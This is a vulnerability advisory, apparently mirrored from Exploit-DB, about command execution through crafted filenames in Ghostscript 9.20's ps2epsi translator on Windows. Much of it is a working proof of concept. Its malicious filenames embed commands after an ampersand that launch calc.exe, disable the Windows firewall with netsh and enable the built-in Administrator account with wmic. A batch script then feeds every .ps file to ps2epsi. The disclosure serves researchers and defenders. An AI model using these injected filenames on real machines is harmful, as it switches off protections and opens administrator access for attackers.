Ghostscript 9.20 – ‘Filename’ Command Execution

  • 作者: hyp3rlinx
    日期: 2017-02-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41221/
  • [+]#################################################################################################
    [+] Credits: John Page AKA hyp3rlinx
    [+] Website: hyp3rlinx.altervista.org
    [+] Source: http://hyp3rlinx.altervista.org/advisories/GHOSTSCRIPT-FILENAME-COMMAND-EXECUTION.txt
    [+] ISR: ApparitionSec
    [+]################################################################################################
    
    
    
    Vendor:
    ===============
    ghostscript.com
    
    
    
    Product:
    ================
    Ghostscript 9.20
    gs920w32.exe
    Windows (32 bit)
    hash: fee2cc1b8b467888a4ed44dd9f4567ed
    
    
    Ghostscript is a suite of software based Postscript and PDF
    interpreter/renderers for file conversion.
    
    
    Vulnerability Type:
    ==========================
    Filename Command Execution
    
    
    
    CVE Reference:
    ==============
    N/A
    
    
    
    Security Issue:
    ================
    The ghostscript ps2epsi translator to processes ".ps" files executes
    arbitrary commands from specially crafted filenames that contain
    OS commands as part of the processed postscript files name. This feature
    seems to work only using the ps2epsi translator.
    Other tested GS translator calls like 'ps2pdf' fail.
    
    c:\>ps2epsi
    "Usage: ps2epsi <infile.ps> <outfile.epi>"
    
    Example, take a file "POC&<SYSTEM-COMMAND>;1.ps", it will run arbitrary
    Commands contained after the ampersand character "&".
    
    If a user runs some automated script to call the ps2epsi translator to
    process ".ps" files from a remote share or directory
    where actual filename is unknown, it can potentially allow attackers to
    execute arbitrary commands on victims machine.
    
    Characters like "/", ":" are restricted in filenames, but we can abuse
    Windows netsh and wmic to bypass some of these barriers.
    
    Quick Ghostscript CL test.
    Create file called Test&calc.exe;1.ps
    
    ps2epsi "Test&calc.exe;1.ps"outfile
    
    BOOM! calc.exe runs...
    
    
    Exploit/POC:
    =============
    Add Ghostscript lib 'c:\Program Files (x86)\gs\gs9.20\lib' to Windows
    environmental Path, so we can easily call 'ps2epsi' GS CMD.
    
    Create the following malicious ".ps" postscript files.
    
    1) Turn of Windows Firewall
    Test&netsh Advfirewall set allprofiles state off&;1.ps
    
    
    2) Enable Windows Administrator account (using WMIC).
    Test&wmic useraccount where name='administrator' set disabled='false'&;1.ps
    
    If user don't have wmic on path, fix it for POC by set environmental system
    variable.
    Add "C:\Windows\system32\wbem;" to 'Path' variable.
    
    Run below bat script to process bunch of *.ps" files.
    
    "POC.bat"
    
    @echo off
    rem ghostscript Filename Command Execution POC
    rem by hyp3rlinx
    
    for %%1 in ("*.ps") do; ps2epsi"%%1" "evil.ps"
    
    
    Severity:
    =========
    Medium
    
    
    
    Disclosure Timeline:
    ===============================
    Vendor Notification: No replies
    February 2, 2017 : Public Disclosure
    
    
    
    [+] Disclaimer
    The information contained within this advisory is supplied "as-is" with no
    warranties or guarantees of fitness of use or otherwise.
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the
    information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author
    prohibits any malicious use of security related information
    or exploits by the author or elsewhere.